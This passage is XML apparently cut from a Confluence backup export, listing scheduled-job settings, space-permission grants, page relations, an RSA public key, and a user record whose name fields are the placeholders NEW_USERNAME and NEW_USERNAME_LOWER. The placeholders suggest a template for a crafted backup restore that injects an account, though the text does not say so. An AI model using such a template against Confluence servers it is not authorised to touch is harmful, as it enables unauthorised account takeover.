<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#VersionSoftRemovalScheduledJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32843</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#AncestorsRepairJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32840</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#ClusterCacheCompactionJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32841</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#JmxLoggingJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32838</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#CleanTempDirectoryJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32839</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#PropertyEntryGardeningJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32836</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[confluence.darkfeature]]></property>
|
||||
<property name="value"><![CDATA[<string>site-wide.shared-drafts</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32837</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.content.render.xhtml.migration.macro.MacroMigrationService]]></property>
|
||||
<property name="key"><![CDATA[migration.required]]></property>
|
||||
<property name="value"><![CDATA[<boolean>false</boolean>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32886</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:hadHadASingleDirectory]]></property>
|
||||
<property name="value"><![CDATA[<string>true</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32887</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.admin.tasks.AdminTaskData]]></property>
|
||||
<property name="key"><![CDATA[admintask.remigration.xhtml]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.admin.tasks.AdminTaskData>
|
||||
<completedAt>2023-11-09 06:04:53.20 UTC</completedAt>
|
||||
</com.atlassian.confluence.admin.tasks.AdminTaskData>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32884</id>
|
||||
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
|
||||
<property name="key"><![CDATA[DEFAULT#periodicEventPublisherJob]]></property>
|
||||
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
|
||||
<enabled>true</enabled>
|
||||
<cronSchedule/>
|
||||
<repeatInterval/>
|
||||
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
|
||||
<id name="id">32885</id>
|
||||
<property name="context"><![CDATA[_GLOBAL]]></property>
|
||||
<property name="key"><![CDATA[c.a.c.plugins:confluence-user-rest:firstCheckDateMs]]></property>
|
||||
<property name="value"><![CDATA[<string>1699509886924</string>]]></property>
|
||||
</object>
|
||||
<object class="ConfluenceUserImpl" package="com.atlassian.confluence.user">
|
||||
<id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
<property name="name"><![CDATA[NEW_USERNAME]]></property>
|
||||
<property name="lowerName"><![CDATA[NEW_USERNAME_LOWER]]></property>
|
||||
<property name="email"><![CDATA[admin@test.com]]></property>
|
||||
</object>
|
||||
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
|
||||
<id name="id">229377</id>
|
||||
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
|
||||
</property>
|
||||
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
|
||||
<property name="relationName"><![CDATA[collaborator]]></property>
|
||||
<property name="creationDate">2020-10-21 01:32:57.499</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="User2ContentRelationEntity" package="com.atlassian.confluence.internal.relations.dao">
|
||||
<id name="id">229378</id>
|
||||
<property name="targetContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98332</id>
|
||||
</property>
|
||||
<property name="sourceContent" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="targetType" enum-class="RelatableEntityTypeEnum" package="com.atlassian.confluence.internal.relations">PAGE</property>
|
||||
<property name="relationName"><![CDATA[collaborator]]></property>
|
||||
<property name="creationDate">2020-10-21 01:38:37.286</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
|
||||
</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458796</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.405</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.405</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458797</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.407</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.407</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458798</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.408</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.408</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458799</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETPAGEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.411</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.411</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458792</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.397</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.397</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458793</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.399</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.399</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458794</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EXPORTSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.401</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.401</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458795</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEMAIL]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.403</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.403</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458788</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.387</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.387</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458789</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.389</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.389</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458790</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.391</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.391</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458791</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITBLOG]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.394</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.394</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458784</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.376</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.376</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458785</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.379</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.379</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458786</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.381</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.381</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458787</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.384</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.384</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458780</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.367</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.367</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458781</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.369</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.369</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458782</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEBLOG]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.371</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.371</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458783</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[CREATEATTACHMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.374</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.374</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458776</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.356</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.356</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458777</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.361</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.361</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458778</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.363</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.363</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458779</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVECOMMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.365</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.365</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458772</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.346</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.346</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458773</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[SETSPACEPERMISSIONS]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.349</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.349</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458774</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.351</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.351</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458775</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEPAGE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.353</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.353</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458768</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.336</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.336</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458769</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.339</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.339</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458770</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.341</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.341</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458771</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[EDITSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.344</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.344</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458764</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.323</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.323</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458765</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.326</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.326</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458766</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[REMOVEOWNCONTENT]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.329</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.329</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458767</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[COMMENT]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.332</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.332</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458760</id>
|
||||
<property name="type"><![CDATA[CREATESPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.418</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.418</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458761</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-administrators]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.263</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.263</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458762</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.305</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.305</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458763</id>
|
||||
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
|
||||
</property>
|
||||
<property name="type"><![CDATA[VIEWSPACE]]></property>
|
||||
<property name="group"/><property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:19.315</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:19.315</property>
|
||||
</object>
|
||||
<object class="AliasedKey" package="com.atlassian.confluence.security.persistence.dao.hibernate">
|
||||
<id name="id">65537</id>
|
||||
<property name="alias"><![CDATA[confluence:174556]]></property>
|
||||
<property name="key"><![CDATA[ RSA public MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArOTFjqwSVsGy6FLWppvYB04deZb5FsAe8BwS2mub/YFUOmc61ia97mcHDaqPKyRrM7QlJUdAQXRWMqycZuumGUahSyC6xsxsQLHSPsf2f6f1naTdL4anPfvzWlYaAl+WAPydpY9ZkgWlxXxzbmvd8Av4Ay84P8qfCNdufpn9QshrV0F3ZODU4gCr2LJRd49eWGSpxUJDvL9MQNOrxtyaDb9r/mxZ48Ed0Fn+kBmLrBxryyC055I0dBIS+JKDQb3qbHymwBQ1qYPdR85BIO6ozYd4UQ1ZeaeKK4T/zn7nohlVyLlDhcfGW0SicxkGfXOiDl8YgaGZeJQXSiQeHTYRYwIDAQAB ]]></property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458756</id>
|
||||
<property name="type"><![CDATA[USECONFLUENCE]]></property>
|
||||
<property name="group"><![CDATA[confluence-users]]></property>
|
||||
<property name="allUsersSubject"/><property name="creationDate">2023-11-09 06:04:18.397</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:04:18.397</property>
|
||||
</object>
|
||||
<object class="SpacePermission" package="com.atlassian.confluence.security">
|
||||
<id name="id">458757</id>
|
